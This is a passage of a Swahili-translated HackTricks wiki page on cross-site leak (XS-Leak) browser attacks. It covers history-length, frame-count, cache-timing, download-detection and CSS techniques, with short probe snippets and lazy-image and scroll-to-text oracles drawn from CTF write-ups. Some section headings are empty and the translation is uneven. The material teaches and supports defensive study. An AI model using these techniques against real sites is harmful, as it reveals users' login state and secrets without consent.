Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa. Uwepo wa kichwa hiki unaweza kugunduliwa, kwa sababu rasilimali iliyo na ulinzi wa CORP itatoa kosa wakati inajaribiwa.

CORB

Angalia kiungo kwa maelezo zaidi kuhusu shambulio.

CORS error on Origin Reflection misconfiguration

Katika hali ambapo kichwa cha Origin kinarejelewa katika kichwa Access-Control-Allow-Origin, mshambuliaji anaweza kutumia tabia hii kujaribu kupata rasilimali katika CORS mode. Ikiwa kosa halijachochewa, inamaanisha kwamba ilipatikana kwa usahihi kutoka wavuti, ikiwa kosa limechochewa, ni kwa sababu ilipatikana kutoka kwenye cache (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji).
Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (Access-Control-Allow-Origin: *) hii haitafanya kazi.

Readable Attributes Technique

Fetch Redirect

Kuwasilisha ombi kwa kutumia Fetch API na redirect: "manual" na vigezo vingine, inawezekana kusoma sifa ya response.type na ikiwa ni sawa na opaqueredirect basi jibu lilikuwa uhamasishaji.

COOP

Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwazi wa kichwa hiki unaweza kutambuliwa kwa kujaribu kufikia contentWindow reference. Katika hali ambapo COOP inatumika kwa masharti, sifa ya opener inakuwa kiashiria: ni undefined wakati COOP inafanya kazi, na defined katika ukosefu wake.

URL Max Length - Server Side

Ikiwa uhamasishaji wa upande wa seva unatumia ingizo la mtumiaji ndani ya uhamasishaji na data za ziada. Inawezekana kugundua tabia hii kwa sababu kawaida seva zina kikomo cha urefu wa ombi. Ikiwa data ya mtumiaji ni hiyo urefu - 1, kwa sababu uhamasishaji unatumia data hiyo na kuongeza kitu cha ziada, itachochea kosa linaloweza kugundulika kupitia Matukio ya Kosa.

Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa kweka cookies za kutosha (cookie bomb) hivyo na urefu wa jibu wa jibu sahihi kosa linachochewa. Katika kesi hii, kumbuka kwamba ikiwa unachochea ombi hili kutoka tovuti moja, <script> itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).
Mfano wa cookie bomb + XS-Search unaweza kupatikana katika Suluhisho lililokusudiwa la andiko hili: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.

URL Max Length - Client Side

Kulingana na nyaraka za Chromium, urefu wa juu wa URL wa Chrome ni 2MB.

Kwa ujumla, jukwaa la wavuti halina mipaka juu ya urefu wa URLs (ingawa 2^31 ni kikomo cha kawaida). Chrome inakadiria URLs hadi urefu wa 2MB kwa sababu za vitendo na ili kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya kati ya mchakato.

Hivyo ikiwa URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi, inawezekana kufanya iwe uhamasishaji na URL kubwa zaidi ya 2MB ili kufikia kikomo cha urefu. Wakati hii inatokea, Chrome inaonyesha ukurasa wa about:blank#blocked.

Tofauti inayoonekana, ni kwamba ikiwa uhamasishaji ulikamilika, window.origin inatoa kosa kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa kikomo kiligongwa na ukurasa ulio loaded ulikuwa about:blank#blocked asili ya origin inabaki kuwa ya mzazi, ambayo ni taarifa inayoweza kufikiwa.

Maelezo yote ya ziada yanayohitajika kufikia 2MB yanaweza kuongezwa kupitia hash katika URL ya awali ili itumike katika uhamasishaji.

{{#ref}} url-max-length-client-side.md {{#endref}}

Max Redirects

Ikiwa idadi ya uhamasishaji kufuata ya kivinjari ni 20, mshambuliaji anaweza kujaribu kupakia ukurasa wake na uhamasishaji 19 na hatimaye kumpeleka mwathirika kwenye ukurasa uliojaribiwa. Ikiwa kosa linachochewa, basi ukurasa ulikuwa unajaribu kuhamasisha mwathirika.

History Length

API ya Historia inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo huhifadhi kurasa zilizotembelewa na mtumiaji. Mshambuliaji anaweza kutumia sifa ya urefu kama njia ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.
Kuangalia history.length, kumfanya mtumiaji kuhamasisha kwenye ukurasa, kubadilisha tena kwenye asili sawa na kuangalia thamani mpya ya history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: Ikiwa URL ni sawa na ile iliyokisiwa
  • Summary: Inawezekana kukisia ikiwa eneo la frame/pop-up liko katika URL maalum kwa kutumia urefu wa historia.
  • Code Example: Chini

Mshambuliaji anaweza kutumia msimbo wa JavaScript kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa na haraka kuibadilisha kuwa about:blank. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa kuongezeka kwa sababu URL haiwezi kupakuliwa ikiwa ni sawa. Ikiwa haikuongezeka inamaanisha ilijaribu kupakia URL iliyokisiwa lakini kwa sababu tulipakia about:blank mara moja, urefu wa historia haukuongezeka wakati wa kupakia URL iliyokisiwa.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Kuhesabu idadi ya frames katika wavuti iliyofunguliwa kupitia iframe au window.open kunaweza kusaidia kubaini hali ya mtumiaji juu ya ukurasa huo.
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia kuendelea idadi ya frames kunaweza kusaidia kubaini mwelekeo ambao unaweza kuvuja taarifa.

Mfano wa mbinu hii ni kwamba katika chrome, PDF inaweza kutambuliwa kwa kuhesabu frames kwa sababu embed inatumika ndani. Kuna Open URL Parameters ambazo zinatoa udhibiti fulani juu ya maudhui kama vile zoom, view, page, toolbar ambapo mbinu hii inaweza kuwa ya kuvutia.

HTMLElements

Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Kipengele hiki kinaonyesha duration na buffered za media, ambazo zinaweza kufikiwa kupitia API yake. Read more about HTMLMediaElement
  • HTMLVideoElement: Inafichua videoHeight na videoWidth. Katika baadhi ya vivinjari, mali za ziada kama webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, na webkitDecodedFrameCount zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na totalVideoFrames, ambayo inaweza kuonyesha kiasi cha data ya video iliyop processed. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Kipengele hiki kinavuja height na width ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya image.decode() itakataliwa, ikionyesha kushindwa kwa kupakia picha vizuri. Read more about HTMLImageElement

CSS Property

Programu za wavuti zinaweza kubadilisha mtindo wa wavuti kulingana na hali ya mtumiaji. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia kipengele cha HTML link, na kanuni zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa hubadilisha kanuni hizi kwa njia ya kidinamik, mshambuliaji anaweza kutambua tofauti hizi kulingana na hali ya mtumiaji.
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya window.getComputedStyle kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.

CSS History

note

Kulingana na hii, hii haifanyi kazi katika Chrome isiyo na kichwa.

Mchoro wa CSS :visited unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya getComputedStyle() inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo ambayo inaweza kutumika na mchoro wa :visited.

Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kwa kutumia mali ya mix-blend-mode. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikifichua hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.

Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia muda wa uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya muda inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuongeza tofauti ya muda, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa muda.

Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:

ContentDocument X-Frame Leak

Katika Chrome, ikiwa ukurasa wenye kichwa cha X-Frame-Options kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya null) kwa mali ya contentDocument ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.

Download Detection

Kichwa cha Content-Disposition, hasa Content-Disposition: attachment, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kutambua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:

  1. Ufuatiliaji wa Upakuaji Bar:
  • Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
  • Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upakuaji bar, ikionyesha kuwa upakuaji umeanzishwa.
  1. Upakuaji wa Navigesheni kwa Iframes:
  • Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha Content-Disposition: attachment, haileti tukio la navigesheni.
  • Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa hali ya maudhui inasababisha upakuaji wa faili (hakuna navigesheni) au la.
  1. Upakuaji wa Navigesheni bila Iframes:
  • Kama mbinu ya iframe, njia hii inahusisha kutumia window.open badala ya iframe.
  • Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).

Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kutambua hali ya uthibitisho wa mtumiaji kwa msingi wa majibu ya kivinjari kwa ombi la upakuaji.

Partitioned HTTP Cache Bypass

warning

Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina cache partitioning, na funguo ya cache ya ukurasa uliofunguliwa hivi karibuni ni: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), funguo ya cache ni tofauti, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: Gaining security and privacy by partitioning the cache
(Maoni kutoka hapa)

Ikiwa tovuti example.com inajumuisha rasilimali kutoka *.example.com/resource basi rasilimali hiyo itakuwa na funguo sawa ya caching kama rasilimali ilivyoombwa moja kwa moja kupitia navigesheni ya ngazi ya juu. Hii ni kwa sababu funguo ya caching inajumuisha ngazi ya juu eTLD+1 na frame eTLD+1.

Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.
Au inaweza tu kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua.

Manual Redirect

Fetch with AbortController

Tumia fetch na setTimeout na AbortController kugundua ikiwa rasilimali imehifadhiwa na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.

Script Pollution

Service Workers

Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha service worker ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza service worker kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anasafisha rejeleo lililopatikana katika hatua ya awali kwenda kwenye ukurasa unaosimamiwa na service worker.

Pale ombi lililoanzishwa katika hatua ya awali linapofika, service worker inajibu kwa msimbo wa hali 204 (No Content), ikimaliza mchakato wa navigesheni. Wakati huu, service worker inachukua kipimo kutoka kwa kipima muda kilichoanisha mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.

warning

Katika kipimo cha utekelezaji inawezekana kuondoa vigezo vya mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.

Fetch Timing

Cross-Window Timing

With HTML or Re Injection

Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka kuingiza maudhui ya HTML. Mbinu hizi ni za kuvutia katika hali ambapo kwa sababu yoyote unaweza kuingiza HTML lakini huwezi kuingiza msimbo wa JS.

Dangling Markup

{{#ref}} ../dangling-markup-html-scriptless-injection/ {{#endref}}

Image Lazy Loading

Ikiwa unahitaji kuhamasisha maudhui na unaweza kuongeza HTML kabla ya siri unapaswa kuangalia mbinu za kawaida za dangling markup.
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo karakteri kwa karakteri (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.

Picha katika HTML ina sifa ya "loading" ambayo thamani yake inaweza kuwa "lazy". Katika kesi hiyo, picha itapakiwa wakati inapoonekana na si wakati ukurasa unapoendelea kupakia:

html
<img src=/something loading=lazy >

Kwa hivyo, kile unachoweza kufanya ni kuongeza herufi nyingi za junk (Kwa mfano maelfu ya "W"s) ili kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama <br><canvas height="1850px"></canvas><br>.
Kisha ikiwa kwa mfano kuingiza kwetu kunaonekana kabla ya bendera, picha itakuwa imepakiwa, lakini ikiwa inaonekana baada ya bendera, bendera + junk itakuwa zuia kupakiwa (utahitaji kucheza na ni kiasi gani cha junk cha kuweka). Hii ndiyo ilivyotokea katika hiki andiko.

Chaguo jingine lingekuwa kutumia scroll-to-text-fragment ikiwa inaruhusiwa:

Scroll-to-text-fragment

Hata hivyo, unafanya bot kuingia kwenye ukurasa na kitu kama

#:~:text=SECR

Hivyo ukurasa wa wavuti utakuwa kama: https://victim.com/post.html#:~:text=SECR

Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.

Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko SECR. Kwa kuwa maandiko hayo ni siri na yako tu chini ya picha, picha itapakia tu ikiwa siri iliyokisiwa ni sahihi. Hivyo unayo oracle yako ili kuondoa siri hiyo taratibu.

Mfano wa msimbo wa kutumia hili: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Picha ya Kupakia Polepole Kulingana na Wakati

Ikiwa haiwezekani kupakia picha ya nje ambayo inaweza kumwonyesha mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu kukisia herufi kadhaa mara nyingi na kupima hilo. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika ufumbuzi wa andiko hili iliyofupishwa hapa:

{{#ref}} event-loop-blocking-+-lazy-images.md {{#endref}}

ReDoS

{{#ref}} ../regular-expression-denial-of-service-redos.md {{#endref}}

CSS ReDoS

Ikiwa jQuery(location.hash) inatumika, inawezekana kugundua kupitia wakati if baadhi ya maudhui ya HTML yapo, hii ni kwa sababu ikiwa mteuzi main[id='site-main'] hauendani, haitahitaji kuangalia mteuzi wengine wote:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

{{#ref}} css-injection/ {{#endref}}

Defenses

Kuna hatua za kujikinga zinazopendekezwa katika https://xsinator.com/paper.pdf pia katika kila sehemu ya wiki https://xsleaks.dev/. Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks